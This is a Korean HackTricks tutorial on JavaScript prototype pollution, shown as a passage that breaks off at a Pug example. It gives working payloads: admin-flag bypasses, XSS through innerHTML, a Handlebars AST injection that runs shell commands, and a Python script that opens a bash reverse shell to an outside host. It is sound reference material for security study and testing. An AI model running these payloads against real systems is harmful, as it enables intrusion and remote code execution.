NodeJS - __proto__ & prototype Pollution

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

JavaScript์˜ ๊ฐ์ฒด

JavaScript์˜ ๊ฐ์ฒด๋Š” ๋ณธ์งˆ์ ์œผ๋กœ ํ‚ค-๊ฐ’ ์Œ์˜ ๋ชจ์Œ์œผ๋กœ, ์†์„ฑ์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ์ฒด๋Š” Object.create๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ null์„ ์ธ์ˆ˜๋กœ ์ „๋‹ฌํ•˜์—ฌ ๋นˆ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์ƒ์†๋œ ์†์„ฑ ์—†์ด ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

๋นˆ ๊ฐ์ฒด๋Š” ๋นˆ ์‚ฌ์ „๊ณผ ์œ ์‚ฌํ•˜๋ฉฐ, {}๋กœ ํ‘œํ˜„๋ฉ๋‹ˆ๋‹ค.

JavaScript์˜ ํ•จ์ˆ˜์™€ ํด๋ž˜์Šค

JavaScript์—์„œ ํด๋ž˜์Šค์™€ ํ•จ์ˆ˜๋Š” ๋ฐ€์ ‘ํ•˜๊ฒŒ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์œผ๋ฉฐ, ํ•จ์ˆ˜๋Š” ์ข…์ข… ํด๋ž˜์Šค์˜ ์ƒ์„ฑ์ž๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. JavaScript๋Š” ๊ธฐ๋ณธ์ ์ธ ํด๋ž˜์Šค ์ง€์›์ด ์—†์ง€๋งŒ, ์ƒ์„ฑ์ž๋Š” ํด๋ž˜์Šค ๋™์ž‘์„ ๋ชจ๋ฐฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototypes in JavaScript

JavaScript๋Š” ๋Ÿฐํƒ€์ž„์— ํ”„๋กœํ† ํƒ€์ž… ์†์„ฑ์„ ์ˆ˜์ •, ์ถ”๊ฐ€ ๋˜๋Š” ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์œ ์—ฐ์„ฑ์€ ํด๋ž˜์Šค ๊ธฐ๋Šฅ์˜ ๋™์  ํ™•์žฅ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

toString ๋ฐ valueOf์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋Š” ๊ทธ ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๊ธฐ ์œ„ํ•ด ์ˆ˜์ •๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” JavaScript์˜ ํ”„๋กœํ† ํƒ€์ž… ์‹œ์Šคํ…œ์˜ ์ ์‘ ๊ฐ€๋Šฅํ•œ ํŠน์„ฑ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

Inheritance

ํ”„๋กœํ† ํƒ€์ž… ๊ธฐ๋ฐ˜ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์—์„œ ์†์„ฑ/๋ฉ”์„œ๋“œ๋Š” ํด๋ž˜์Šค์—์„œ ๊ฐ์ฒด๋กœ ์ƒ์†๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํด๋ž˜์Šค๋Š” ๋‹ค๋ฅธ ํด๋ž˜์Šค์˜ ์ธ์Šคํ„ด์Šค๋‚˜ ๋นˆ ๊ฐ์ฒด์— ์†์„ฑ/๋ฉ”์„œ๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ๊ฐ์ฒด์˜ ํ”„๋กœํ† ํƒ€์ž… ์—ญํ• ์„ ํ•˜๋Š” ๊ฐ์ฒด(์˜ˆ: myPersonObj)์— ์†์„ฑ์ด ์ถ”๊ฐ€๋˜๋ฉด, ์ƒ์†๋ฐ›๋Š” ๊ฐ์ฒด๋Š” ์ด ์ƒˆ๋กœ์šด ์†์„ฑ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ์†์„ฑ์€ ๋ช…์‹œ์ ์œผ๋กœ ํ˜ธ์ถœ๋˜์ง€ ์•Š๋Š” ํ•œ ์ž๋™์œผ๋กœ ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

JavaScript ๊ฐ์ฒด๋Š” ํ‚ค-๊ฐ’ ์Œ์œผ๋กœ ์ •์˜๋˜๋ฉฐ JavaScript Object ํ”„๋กœํ† ํƒ€์ž…์—์„œ ์ƒ์†๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” Object ํ”„๋กœํ† ํƒ€์ž…์„ ๋ณ€๊ฒฝํ•˜๋ฉด ํ™˜๊ฒฝ์˜ ๋ชจ๋“  ๊ฐ์ฒด์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์˜ˆ์ œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„ค๋ช…ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Object ํ”„๋กœํ† ํƒ€์ž…์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ๋‹ค์Œ์„ ํ†ตํ•ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Object ํ”„๋กœํ† ํƒ€์ž…์— ์†์„ฑ์„ ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ, ๋ชจ๋“  JavaScript ๊ฐ์ฒด๋Š” ์ด๋Ÿฌํ•œ ์ƒˆ๋กœ์šด ์†์„ฑ์„ ์ƒ์†๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค:

function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

prototype pollution

__proto__ ์‚ฌ์šฉ์ด ์ œํ•œ๋œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ํ•จ์ˆ˜์˜ ํ”„๋กœํ† ํƒ€์ž…์„ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์ด ๋Œ€์•ˆ์ž…๋‹ˆ๋‹ค:

function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

์ด๊ฒƒ์€ Vehicle ์ƒ์„ฑ์ž์—์„œ ์ƒ์„ฑ๋œ ๊ฐ์ฒด์—๋งŒ ์˜ํ–ฅ์„ ๋ฏธ์น˜๋ฉฐ, ์ด๋“ค์—๊ฒŒ beep, hasWheels, honk, ๋ฐ isElectric ์†์„ฑ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค.

ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ํ†ตํ•ด JavaScript ๊ฐ์ฒด์— ์ „์—ญ์ ์œผ๋กœ ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. Object.prototype๋ฅผ ์ง์ ‘ ์˜ค์—ผ์‹œํ‚ค๊ธฐ:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๊ตฌ์กฐ์ฒด์˜ ์ƒ์„ฑ์ž ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

์ด ์ž‘์—… ํ›„, ๋ชจ๋“  JavaScript ๊ฐ์ฒด๋Š” goodbye ๋ฐ greet ๋ฉ”์„œ๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ๊ฐ์ฒด ์˜ค์—ผ์‹œํ‚ค๊ธฐ

ํด๋ž˜์Šค์—์„œ Object.prototype์œผ๋กœ

ํŠน์ • ๊ฐ์ฒด๋ฅผ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ Object.prototype์— ์ ‘๊ทผํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋กœ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Array elements pollution

JS์—์„œ ๊ฐ์ฒด์˜ ์†์„ฑ์„ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ฒ˜๋Ÿผ, ๋ฐฐ์—ด์— ์ ‘๊ทผํ•˜์—ฌ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ธ๋ฑ์Šค๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋ฐฐ์—ด์˜ ๊ฐ’๋„ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๊ฐ’์„ ๋ฎ์–ด์“ธ ์ˆ˜๋Š” ์—†์œผ๋ฏ€๋กœ, ์–ด๋–ค ์‹์œผ๋กœ๋“  ์‚ฌ์šฉ๋˜์ง€๋งŒ ์“ฐ์ด์ง€ ์•Š๋Š” ์ธ๋ฑ์Šค๋ฅผ ์˜ค์—ผ์‹œ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค).

c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

JS๋ฅผ ํ†ตํ•ด HTML ์š”์†Œ๋ฅผ ์ƒ์„ฑํ•  ๋•Œ innerHTML ์†์„ฑ์„ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜์—ฌ ์ž„์˜์˜ HTML ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Idea and example from this writeup.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

์˜ˆ์ œ

๊ธฐ๋ณธ ์˜ˆ์ œ

ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์€ Object.prototype์˜ ์†์„ฑ์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฐํ•จ์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋Œ€๋ถ€๋ถ„์˜ ๊ฐ์ฒด๊ฐ€ Object.prototype์—์„œ ์†์„ฑ์„ ํŒŒ์ƒ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๊ฐ€์žฅ ์‰ฌ์šด ์˜ˆ๋Š” ํ™•์ธ๋  ๊ฐ์ฒด์˜ ์ •์˜๋˜์ง€ ์•Š์€ ์†์„ฑ์— ๊ฐ’์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

if (user.admin) {

์†์„ฑ์ด admin์ด ์ •์˜๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ PP๋ฅผ ์•…์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์ด True๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํŠน์ • ์ž…๋ ฅ์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์„ ๊ฒฝ์šฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ชจ๋“  ๊ฐ์ฒด์˜ ํ”„๋กœํ† ํƒ€์ž…์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋„๋ก ์†์„ฑ์„ ์กฐ์ž‘ํ•˜๋Š” ๊ฒƒ๊ณผ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์กฐ์ž‘์€ ์ผ๋ฐ˜์ ์œผ๋กœ __proto__ ์†์„ฑ์„ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•˜๋ฉฐ, JavaScript์—์„œ๋Š” ๊ฐ์ฒด์˜ ํ”„๋กœํ† ํƒ€์ž…์„ ์ง์ ‘ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ๊ณผ ๋™์˜์–ด์ž…๋‹ˆ๋‹ค.

์ด ๊ณต๊ฒฉ์ด ์„ฑ๊ณต์ ์œผ๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋Š” ์กฐ๊ฑด์€ ํŠน์ • ์—ฐ๊ตฌ์—์„œ ์„ค๋ช…๋œ ๋ฐ”์™€ ๊ฐ™์ด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • ์žฌ๊ท€์  ๋ณ‘ํ•ฉ ์ˆ˜ํ–‰.
  • ๊ฒฝ๋กœ์— ๋”ฐ๋ผ ์†์„ฑ ์ •์˜.
  • ๊ฐ์ฒด ๋ณต์ œ.

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

ํ”„๋กœํ†  ํด๋ฃจ์…˜์„ ํ†ตํ•œ RCE

Prototype Pollution to RCE

๊ธฐํƒ€ ํŽ˜์ด๋กœ๋“œ:

ํด๋ผ์ด์–ธํŠธ ์ธก ํ”„๋กœํ† ํƒ€์ž… ํด๋ฃจ์…˜์„ ํ†ตํ•œ XSS

Client Side Prototype Pollution

CVE-2019โ€“11358: jQuery $ .extend๋ฅผ ํ†ตํ•œ ํ”„๋กœํ† ํƒ€์ž… ํด๋ฃจ์…˜ ๊ณต๊ฒฉ

์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด ๊ธฐ์‚ฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š” jQuery์—์„œ $ .extend ํ•จ์ˆ˜๋Š” ๊นŠ์€ ๋ณต์‚ฌ ๊ธฐ๋Šฅ์ด ์ž˜๋ชป ์‚ฌ์šฉ๋  ๊ฒฝ์šฐ ํ”„๋กœํ† ํƒ€์ž… ํด๋ฃจ์…˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๊ฐ์ฒด๋ฅผ ๋ณต์ œํ•˜๊ฑฐ๋‚˜ ๊ธฐ๋ณธ ๊ฐ์ฒด์˜ ์†์„ฑ์„ ๋ณ‘ํ•ฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ๊ฒฝ์šฐ, ์ƒˆ๋กœ์šด ๊ฐ์ฒด๋ฅผ ์œ„ํ•œ ์†์„ฑ์ด ๋Œ€์‹  ํ”„๋กœํ† ํƒ€์ž…์— ํ• ๋‹น๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

์ด ์ทจ์•ฝ์ ์€ CVE-2019โ€“11358๋กœ ์‹๋ณ„๋˜๋ฉฐ, ๊นŠ์€ ๋ณต์‚ฌ๊ฐ€ ์–ด๋–ป๊ฒŒ ์šฐ์—ฐํžˆ ํ”„๋กœํ† ํƒ€์ž…์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด๋Š” isAdmin๊ณผ ๊ฐ™์€ ์†์„ฑ์ด ์ ์ ˆํ•œ ์กด์žฌ ํ™•์ธ ์—†์ด ํ™•์ธ๋  ๊ฒฝ์šฐ ๋ฌด๋‹จ ๊ด€๋ฆฌ์ž ์ ‘๊ทผ๊ณผ ๊ฐ™์€ ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ์œ„ํ—˜์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2018โ€“3721, CVE-2019โ€“10744: lodash๋ฅผ ํ†ตํ•œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ

์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด ๊ธฐ์‚ฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”

Lodash๋Š” ์œ ์‚ฌํ•œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์ทจ์•ฝ์ (CVE-2018โ€“3721, CVE-2019โ€“10744)์— ์ง๋ฉดํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฌธ์ œ๋Š” ๋ฒ„์ „ 4.17.11์—์„œ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

CVE๊ฐ€ ํฌํ•จ๋œ ๋˜ ๋‹ค๋ฅธ ํŠœํ† ๋ฆฌ์–ผ

ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ํƒ์ง€ํ•˜๋Š” ๋„๊ตฌ

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์„œ๋ฒ„ ์ธก ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์ทจ์•ฝ์ ์„ ํƒ์ง€ํ•˜๊ณ  ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ Burp Suite ํ™•์žฅ์ž…๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ์š”์ฒญ์„ ์Šค์บ”ํ•˜์—ฌ ์ž ์žฌ์ ์ธ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๋ฌธ์ œ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ณผ์ •์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์•Œ๋ ค์ง„ ๊ฐ€์ ฏ - ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์„ ํ™œ์šฉํ•˜์—ฌ ํ•ด๋กœ์šด ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ• - ์„ ์•…์šฉํ•˜๋ฉฐ, ํŠนํžˆ Node.js ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ค‘์ ์„ ๋‘ก๋‹ˆ๋‹ค.
  • server-side-prototype-pollution: ์ด ํ™•์žฅ์€ ์„œ๋ฒ„ ์ธก ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์„œ๋ฒ„ ์ธก ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์—์„œ ์„ค๋ช…๋œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

NodeJS์˜ AST ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ

NodeJS๋Š” ํ…œํ”Œ๋ฆฟ ์—”์ง„ ๋ฐ TypeScript์™€ ๊ฐ™์€ ๊ธฐ๋Šฅ์„ ์œ„ํ•ด JavaScript์—์„œ ์ถ”์ƒ ๊ตฌ๋ฌธ ํŠธ๋ฆฌ(AST)๋ฅผ ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์„น์…˜์—์„œ๋Š” ํ…œํ”Œ๋ฆฟ ์—”์ง„, ํŠนํžˆ Handlebars์™€ Pug์—์„œ์˜ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ๊ณผ ๊ด€๋ จ๋œ ์ทจ์•ฝ์ ์„ ํƒ๊ตฌํ•ฉ๋‹ˆ๋‹ค.

Handlebars ์ทจ์•ฝ์  ๋ถ„์„

Handlebars ํ…œํ”Œ๋ฆฟ ์—”์ง„์€ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ javascript-compiler.js ํŒŒ์ผ ๋‚ด์˜ ํŠน์ • ํ•จ์ˆ˜์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, appendContent ํ•จ์ˆ˜๋Š” pendingContent๊ฐ€ ์กด์žฌํ•  ๊ฒฝ์šฐ ์ด๋ฅผ ์—ฐ๊ฒฐํ•˜๋ฉฐ, pushSource ํ•จ์ˆ˜๋Š” ์†Œ์Šค๋ฅผ ์ถ”๊ฐ€ํ•œ ํ›„ pendingContent๋ฅผ undefined๋กœ ์žฌ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

์•…์šฉ ๊ณผ์ •

์•…์šฉ์€ Handlebars์— ์˜ํ•ด ์ƒ์„ฑ๋œ AST(์ถ”์ƒ ๊ตฌ๋ฌธ ํŠธ๋ฆฌ)๋ฅผ ํ™œ์šฉํ•˜๋ฉฐ, ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค:

  1. ํŒŒ์„œ ์กฐ์ž‘: ์ฒ˜์Œ์—, NumberLiteral ๋…ธ๋“œ๋ฅผ ํ†ตํ•ด ํŒŒ์„œ๋Š” ๊ฐ’์ด ์ˆซ์ž์—ฌ์•ผ ํ•œ๋‹ค๊ณ  ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค. ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์€ ์ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์–ด ๋น„์ˆซ์ž ๋ฌธ์ž์—ด์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  2. ์ปดํŒŒ์ผ๋Ÿฌ์— ์˜ํ•œ ์ฒ˜๋ฆฌ: ์ปดํŒŒ์ผ๋Ÿฌ๋Š” AST ๊ฐ์ฒด ๋˜๋Š” ๋ฌธ์ž์—ด ํ…œํ”Œ๋ฆฟ์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ input.type์ด Program๊ณผ ๊ฐ™๋‹ค๋ฉด, ์ž…๋ ฅ์€ ๋ฏธ๋ฆฌ ํŒŒ์‹ฑ๋œ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ, ์ด๋Š” ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  3. ์ฝ”๋“œ ์ฃผ์ž…: Object.prototype์˜ ์กฐ์ž‘์„ ํ†ตํ•ด ํ…œํ”Œ๋ฆฟ ํ•จ์ˆ˜์— ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Handlebars ์ทจ์•ฝ์ ์˜ ์•…์šฉ์„ ๋ณด์—ฌ์ฃผ๋Š” ์˜ˆ:

const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

์ด ์ฝ”๋“œ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ Handlebars ํ…œํ”Œ๋ฆฟ์— ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

์™ธ๋ถ€ ์ฐธ์กฐ: ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ๊ณผ ๊ด€๋ จ๋œ ๋ฌธ์ œ๊ฐ€ โ€˜flatโ€™ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”: Issue on GitHub.

์™ธ๋ถ€ ์ฐธ์กฐ: Issue related to prototype pollution in the โ€˜flatโ€™ library

Python์—์„œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์•…์šฉ์˜ ์˜ˆ:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug ์ทจ์•ฝ์ 

Pug๋Š” ๋˜ ๋‹ค๋ฅธ ํ…œํ”Œ๋ฆฟ ์—”์ง„์œผ๋กœ, ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ์˜ ์œ ์‚ฌํ•œ ์œ„ํ—˜์— ์ง๋ฉดํ•ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ •๋ณด๋Š” Pug์˜ AST Injection ๋…ผ์˜์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Pug์—์„œ์˜ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ์˜ˆ:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
